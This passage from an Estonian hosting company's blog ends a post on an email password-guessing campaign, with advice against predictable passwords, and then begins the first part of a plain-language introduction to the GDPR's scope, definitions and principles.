Halvemal juhul on sama salasõna inimesel kasutusel mõnes olulises infosüsteemis, mille olemasolu suudab kurjategija näiteks poskasti sisu järgi kindlaks teha. Siis võidakse kompromiteerida juba mitte ainult postkasti sisu, vaid palju olulisemaid andmeid.

Kui “Panda” tahaks, saaks ta ka WannaCry või Petya pahavara niimoodi otse postkasti ujutada ja käivitada väljapressimisega lõppeva rünnaku. Viimasest sellisest ründest kirjutab RIA https://www.ria.ee/ee/uus-lunavaralaine.html

Ja hoidke alt, kui postkast kuulub riigiasutusele. “Panda” võib oma riigi struktuuridega sujuvate suhete omamise nimel head ja paremat ka neile sokutada.

Parem karta kui kahetseda. Kui tundsid ülalpool ära mõne oma salasõna mustri, siis muuda seda kohe.

Kokkuvõtteks

Miks ma sellest intsidendist kirjutan?

Esiteks tahame kõigile meelde tuletada kui halvad on ülalkirjeldatud mustrid salasõnades.

Teiseks pole me kindlad, kas teised e-posti serverite haldajad on “Paha Panda” tegutsemist tähele pannud – loodetavasti annab käesolev postitus neile ajendi seda kontrollida.

Kolmandaks annab see lugu loodetavasti selgust motiivi osas, miks Zone e-posti salasõnadele esitatavaid nõudeid muudab.

Me toome nõudmised salasõnale kaasaega. Rohkem kui salasõna keerukust, hindame me selle pikkust ning üritame takistada halbade mustrite kasutamist. Halbadeks loeme üldlevinud salasõnu; salasõnu, mille sisu saab tuletada kaitstava ressurssi kontekstist ja muud äraarvatavat. Uue e-posti salasõna miinimumpikkus on Zones nüüd 10 märki.

Rohkem salasõnu stiilis “Minu Lemmikpuu On Remmelgas” ja vähem stiilis “Siim123” 😀

Isikuandmete kaitse üldmäärus GDPR – Mis see on? Osa 1

Seekordne kirjatöö käsitleb sellist kuuma teemat nagu isikuandmete kaitse üldmäärus ehk GDPR, mis puudutab kõiki ettevõtteid, organisatsioone ja füüsilisi isikuid Euroopas. Proovime sellest kirjutada paanikat külvamata.

Järgmise aasta 25. mail rakendub Euroopa Parlamendi ja nõukogu määrus 2016/679 (General Data Protection Regulation ehk GDPR). Ühe teooria kohaselt järgnevad sellele inimohverdused, kasside ja koerte kokku kolimine ning massihüsteeria. [1] Kui see ennustus valeks peaks osutuma, on alternatiiv keskpärane reede, vahelduva pilvisusega ilm ja uue ajajärgu algus isikuandmete kaitses.

Eelnev on loomulikult kirjutatud sõbraliku pilkega silmanurgas. Ma ei arva, et GDPR on senitundmatu apokalüpsise ratsanik ja mulle meeldib heita nalja müügimeeste üle, kes uue määrusega hirmutades meile juba tükk aega erinevat nodi maha müüa üritavad – alates tüüplepingutest, tulemüüridest ning lõpetades USB pulkadega. Nende entusiasm meenutab seda, mis toimus 90-ndate lõpus, kui kõikide IT-kaupmeeste keelel oli lühend Y2K 🙂

Isikuandmete kaitse määrus on oluline seadusandlik akt, millega peaksid ideaalis end kurssi viima kõik ettevõtjad. Aga suur osa selle nõudmistest eksisteerib juba olemasolevates seadustes. GDPR ütleb oma sõnumi välja senisest täpsemalt, konkreetsemalt, jõulisemalt ja seob võimalikud rikkumised kopsakate trahvidega. See võib tunduda üle pea käiv, aga ei maksa lasta ennast ehmatada.

Zone on uue määruse jaoks üks suuremaid sihtmärke, kuna meil on isikuandmete töötlemises kanda kaks rolli:

  • vastutav töötleja, kes kogub ja töötleb isikuandmeid puhtalt enda seaduslike eesmärkidel täitmiseks;
  • volitatud töötleja, kes säilitab ja töötleb teiste vastutavate töötlejate kogutud isikuandmeid, et ka nendel oleks võimalik täita oma seaduslikke eesmärke.

See tähendab, et ühilduvus GDPR-i põhimõtetega on meie jaoks vältimatu, vastasel juhul peaksime oma poe peagi kinni panema. Seepärast oleme ka pidanud vajalikuks end sel teemal harida, parandada protsesse, vaadata kriitilise pilguga otsa teenuste portfellile, kasutustingimustele jne. Üritame seda kõike teha kainelt kaalutledes.

Käesolevas ja järgnevates temaatilistes kirjutistes loodan anda põgusa ülevaate sellest, mida meie oleme jõudnud GDPR-i kohta õppida. See võiks huvitada meie kliente, aga miks mitte ka teisi väikeseid või keskmisi ettevõtteid.

Loomulikult ei tohiks minu kirjutisi võtta juriidilise nõuandena 🙂

Neil, kes töötlevad isikuandmeid suurel määral või omavad käideldavate andmete seas eriti tundlikke andmeid, soovitan kindlasti määruse sisusse väga põhjalikult süveneda ja konsulteerida oma õigusnõustajaga.

Eesmärgist ja haldusalast

Euroopa Parlament on seadnud määrusele väga kõrgelennulised eesmärgid. GDPR-ilt loodetakse nii kodanike õiguste tugevdamist, isikuandmete käitlemise turvalisuse parandamist, digimajanduse usalduse kasvu kui ka õiglasemat konkurentsikeskkonda.

Vorm, mis valiti uute reeglite kehtestamiseks, demonstreerib seda, kui tõsiselt Euroopas isikuandmete kaitsesse suhtutakse. Euroopa Parlamendi määrus on üks võimsamaid, kui mitte võimsaim, õigusliku ruumi kujundamise tööriist Euroopa Liidus – tegemist on seadusandja vastega Thori haamrile Mjölnirile. Sellise määrusena vastu võetud õigusakt hakkab jõustumise kuupäevast alates kehtima kõikides liikmesriikides korraga ja muutub koheselt ülimuslikuks kõikide teiste sama valdkonda käsitlevate seaduste suhtes.

Ka määruse mõjuala kujundamisel ei ole parlamentäärid end tagasi hoidnud, see hõlmab ei vähemat või enamat, kui tervet planeeti. Kõikidele ettevõtetele ja organisatsioonidele maailmas, kes koguvad, töötlevad või säilitavad Euroopa Liidu kodanike isikuandmeid, kehtivad järgmise aasta 25. maist ühed ja samad andmekaitse nõuded. Euroopa Liidus tuleb GDPR-iga kooskõlas töödelda kõikide füüsiliste isikute andmeid, mitte ainult liidu kodanike omi.

Definitsioonidest

Mis on isikuandmed? Isikuandmed on igasugune teave tuvastatud või tuvastatava füüsilise isiku kohta. Füüsiline isik võib andmete alusel olla tuvastatav otseselt või kaudselt. See viimane on meie teenuste kontekstis eriti oluline teada, sest füüsilise isiku kaudset tuvastamist võimaldab näiteks IP aadress ja seetõttu on ka IP aadressid käsitletavad isikuandmetena.[2]

Mis on isikuandmete töötlemine? Isikuandmete töötlemine on isikuandmete või nende kogumitega tehtav automatiseerimata või automatiseeritud toiming või nende kogum. Lasete füüsilisel isikul end veebis kasutajaks registreerida, müüte neile oma kaupa või teenust, saadate laiali oma uudiskirja? Kõikide nende toimingute raames töötlete tõenäoliselt füüsiliste isikute isikuandmeid ja olete seega nende vastutav töötleja.

Kui teete seda kõike koostöös kodulehe infosüsteemide halduspartneri, andmete majutaja või e-posti levitajaga, siis olete kaasanud oma tegevusse volitatud töötleja, aga isikuandmete töötlemise üldpõhimõtete täitmise eest jääte vastutama siiski teie. Teie kohustus on valida endale volitatud töötleja, kes annab piisava tagatise asjakohaste tehniliste ja korralduslike meetmete rakendamise kohta.

Üldpõhimõtted

Millised on üldised põhimõtted, mille järgimist GDPR nõuab? Lühidalt tahab GDPR, et ettevõtted ja organisatsioonid käitleksid isikuandmeid nagu äsja sündinud kassipoega – väga ettevaatlikult.

Teen siinkohal üldistest põhimõtetest kokkuvõtte ning võite selles ise veenduda:

  • igasugune isikuandmete töötlemine peab olema seaduslik, õiglane ja läbipaistev;
  • isikuandmeid tohib koguda ainult konkreetsetel, kokku lepitud, täpsetel, õiguspärastel eesmärkidel;
  • isikuandmeid tohib koguda ainult sellises ulatuses nagu sellise eesmärgi täitmiseks vaja;
  • isikuandmeid võib säilitada füüsiliste isikute tuvastamist võimaldaval kujul ainult seni, kuni see on eesmärgi täitmiseks vajalik;
  • eesmärgi seisukohast ebaoluliseks muutunud isikuandmed tuleb kustutada;
  • isikuandmed tuleb hoida õigetena, eesmärgi seisukohast ebaõiged isikuandmed tuleb kustutada või ilma asjatu viivituseta parandada;
  • isikuandmeid tohib töödelda ainult viisil, mis tagab nende turvalisuse, sealhulgas tuleb andmeid kaitsta loata või ebaseadusliku töötlemise, juhusliku kadumise, hävitamise või kahjustamise eest, kasutades asjakohaseid meetmeid.

Vastutus kõikide ülaltoodud põhimõtete järgimise suhtes on, nagu nimigi ütleb, vastutaval töötlejal ehk ettevõttel või organisatsioonil, kes oma eesmärgi täitmiseks kasutajalt andmed töötlemiseks küsis.

Seedige need tingimused läbi ja mõtelge isikuandmetele mida töötlete.

Ülaltoodu ei ole kaugeltki kõik. Nõudeid, mida GDPR nii vastutavale kui volitatud töötlejale esitab, on palju ning nendest kirjutan järgmistes temaatilistes blogipostitustes. Jutuks tulevad volitatud töötleja vastutus ning isikuandmete turvalisus. Päris kindlasti on omaette postituse ära teeninud kommertssõnumite edastamine e-posti teel. Äkki õnnestub meie põhjatust varasalvest ka mõni näide välja võluda, mis kindlasti tulevikus GDPR-i kontekstis Andmekaitse Inspektsiooni tähelepanu pälvida võiks.

Seniks tsiteerin üht pöidlaküüdi reisijuhti: ärge sattuge paanikasse! Närvide rahustamiseks üks Dilbert: